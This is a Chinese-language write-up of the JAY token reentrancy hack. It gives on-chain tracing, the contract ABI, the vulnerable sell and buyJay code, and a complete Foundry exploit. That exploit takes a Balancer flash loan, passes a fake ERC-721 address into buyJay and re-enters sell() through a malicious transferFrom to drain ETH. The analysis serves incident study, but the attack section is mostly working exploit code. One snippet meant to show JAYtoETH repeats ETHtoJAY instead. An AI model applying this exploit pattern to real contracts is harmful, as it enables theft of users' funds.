消息来源：

X 上的 BlockSec：“1/ The @jaypeggerz project was attacked and the loss is around 15.32 Ether. It is a contract-level reentrancy attack that successfully manipulates the price of the JAY token. https://t.co/E8z1rMM2Dg https://t.co/Ndo75Fpmqe” / X (twitter.com)

记录：

SunWeb3Sec/DeFiHackLabs: Reproduce DeFi hacked incidents using Foundry. (github.com)

JAY token合约代码

https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2#code#L1

链上数据分析

首先确定代币token:0xf2919d1d80aff2940274014bef534f7791906ff2

JAY | Address 0xf2919d1d80aff2940274014bef534f7791906ff2 | Etherscan

攻击者token:0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

Exploiter Contract:0xed42Cb11b9D03c807ED1ba9c2eD1d3BA5Bf37340

进行追踪:

0xd4fafa1261f6e4f9c8 | Phalcon Explorer

image-20231031234534076

获利15.32ETH

攻击过程：

更多详细数据可以看:

https://www.metasleuth.io/result/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

主要链路：

0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340 ->0x0348d20b74ddc0ac9bfc3626e06d30bb6fac213b->0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340

攻击利润随后通过龙卷风洗出:

image-20231101000103706

漏洞代码分析

合约ABI：（适用于无合约代码交互情况,可以进行无合约代码交互）

1
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"time","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"price","type":"uint256"}],"name":"Price","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"ETHtoJAY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"JAYtoETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MIN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"erc721TokenAddress","type":"address[]"},{"internalType":"uint256[]","name":"erc721Ids","type":"uint256[]"},{"internalType":"address[]","name":"erc1155TokenAddress","type":"address[]"},{"internalType":"uint256[]","name":"erc1155Ids","type":"uint256[]"},{"internalType":"uint256[]","name":"erc1155Amounts","type":"uint256[]"}],"name":"buyJay","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyJayNoNFT","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"erc721TokenAddress","type":"address[]"},{"internalType":"uint256[]","name":"erc721Ids","type":"uint256[]"},{"internalType":"address[]","name":"erc1155TokenAddress","type":"address[]"},{"internalType":"uint256[]","name":"erc1155Ids","type":"uint256[]"},{"internalType":"uint256[]","name":"erc1155Amounts","type":"uint256[]"}],"name":"buyNFTs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getBuyJayNFT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getBuyJayNoNFT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLatestPrice","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotals","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lockDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"onERC1155Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startJay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

根据合约代码https://remix.ethereum.org/#address=0xf2919d1d80aff2940274014bef534f7791906ff2分析:

1
2
3
4
5
6
7
8
function ETHtoJAY(uint256 value) public view returns (uint256) {
    return value.mul(totalSupply()).div(address(this).balance.sub(value));
}

function ETHtoJAY(uint256 value) public view returns (uint256) {
    return value.mul(totalSupply()).div(address(this).balance.sub(value));
}
//uint256 eth = JAYtoETH(value);

JAY代币的总供应量*JAY代币的价格 = JAY合约的ETH余额

我们来看合约代码中购买逻辑的实现–Sell和buyJay的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Sell Jay
function sell(uint256 value) public {
    require(value > MIN, "Dude tf");

    uint256 eth = JAYtoETH(value);
    _burn(msg.sender, value);

    (bool success, ) = msg.sender.call{value: eth.mul(90).div(100)}("");
    require(success, "ETH Transfer failed.");
    (bool success2, ) = dev.call{value: eth.div(33)}("");
    require(success2, "ETH Transfer failed.");

    emit Price(block.timestamp, JAYtoETH(1 * 10**18));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function buyJay(
    address[] calldata erc721TokenAddress,
    uint256[] calldata erc721Ids,
    address[] calldata erc1155TokenAddress,
    uint256[] calldata erc1155Ids,
    uint256[] calldata erc1155Amounts
) public payable {
    require(start, "Not started!");
    uint256 total = erc721TokenAddress.length;
    if (total != 0) buyJayWithERC721(erc721TokenAddress, erc721Ids);

    if (erc1155TokenAddress.length != 0)
        total = total.add(
            buyJayWithERC1155(
                erc1155TokenAddress,
                erc1155Ids,
                erc1155Amounts
            )
        );
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    function buyJayWithERC721(
        address[] calldata _tokenAddress,
        uint256[] calldata ids
    ) internal {
        for (uint256 id = 0; id < ids.length; id++) {
            IERC721(_tokenAddress[id]).transferFrom(
                msg.sender,
                address(this),
                ids[id]
            );
        }
    }
//这段代码实现了支付逻辑   
//调用 IERC721 接口的 transferFrom 函数，将代币从 msg.sender转移到智能合约地址

JAY 合约允许用户为 buyJay 函数传递任意 ERC-721 代币。

导致攻击者可以利用此漏洞重新进入JAY合约

其中根据 进行了闪电贷

可以进行debug调试,其中关键buy-send走了2个来回

0xd4fafa1261f6e4f9c8 | Phalcon Explorer

1
{"msg.sender":"0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340","func":"flashLoan","args":{"recipient":"0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340","tokens":["0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"],"amounts":["72500000000000000000"],"userData":"0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000"},"return":[]}

image-20231101003848312

image-20231101004033041

总结:攻击者在单笔交易中重复该过程两次，总利润为 15.32 以太币。攻击利润已通过 Tornado Cash 洗钱。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1608372475225866240

// @TX
// https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

interface IJay {
    function buyJay(
        address[] memory erc721TokenAddress,
        uint256[] memory erc721Ids,
        address[] memory erc1155TokenAddress,
        uint256[] memory erc1155Ids,
        uint256[] memory erc1155Amounts
    ) external payable;
    function sell(uint256 value) external;
    function balanceOf(address account) external view returns (uint256);
}


contract ContractTest is DSTest{
    IJay JAY = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);
    IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16288199);    // Fork mainnet at block 16288199
    }

    function testExploit() public {
        payable(address(0)).transfer(address(this).balance);
        emit log_named_decimal_uint(
            "[Start] ETH balance before exploitation:",
            address(this).balance,
            18
        );
        // Setup up flashloan paramaters.
        address[] memory tokens = new address[](1);
        tokens[0] = address(weth); 
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 72.5 ether;
        bytes memory b = "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000";
        // Execute the flashloan. It will return in receiveFlashLoan()
        Vault.flashLoan(address(this), tokens, amounts, b);
    }

    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        require(msg.sender == address(Vault));

        // Transfer WETH to ETH and start the attack.
        weth.withdraw(amounts[0]);

        JAY.buyJay{value: 22 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));

        address[] memory erc721TokenAddress = new address[](1);
        erc721TokenAddress[0] = address(this);

        uint256[] memory erc721Ids = new uint256[](1);
        erc721Ids[0]= 0;
        
        JAY.buyJay{value: 50.5 ether}(erc721TokenAddress, erc721Ids,new address[](0),new uint256[](0),new uint256[](0));
        JAY.sell(JAY.balanceOf(address(this)));
        JAY.buyJay{value: 3.5 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));
        JAY.buyJay{value: 8 ether}(erc721TokenAddress,erc721Ids,new address[](0),new uint256[](0),new uint256[](0));
        JAY.sell(JAY.balanceOf(address(this)));

        // Repay the flashloan by depositing ETH for WETH and transferring.
        address(weth).call{value: 72.5 ether}("deposit");
        weth.transfer(address(Vault), 72.5 ether);

        emit log_named_decimal_uint(
            "[End] ETH balance after exploitation:",
            address(this).balance,
            18
        );
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
            JAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell
    }
  receive() external payable {}
}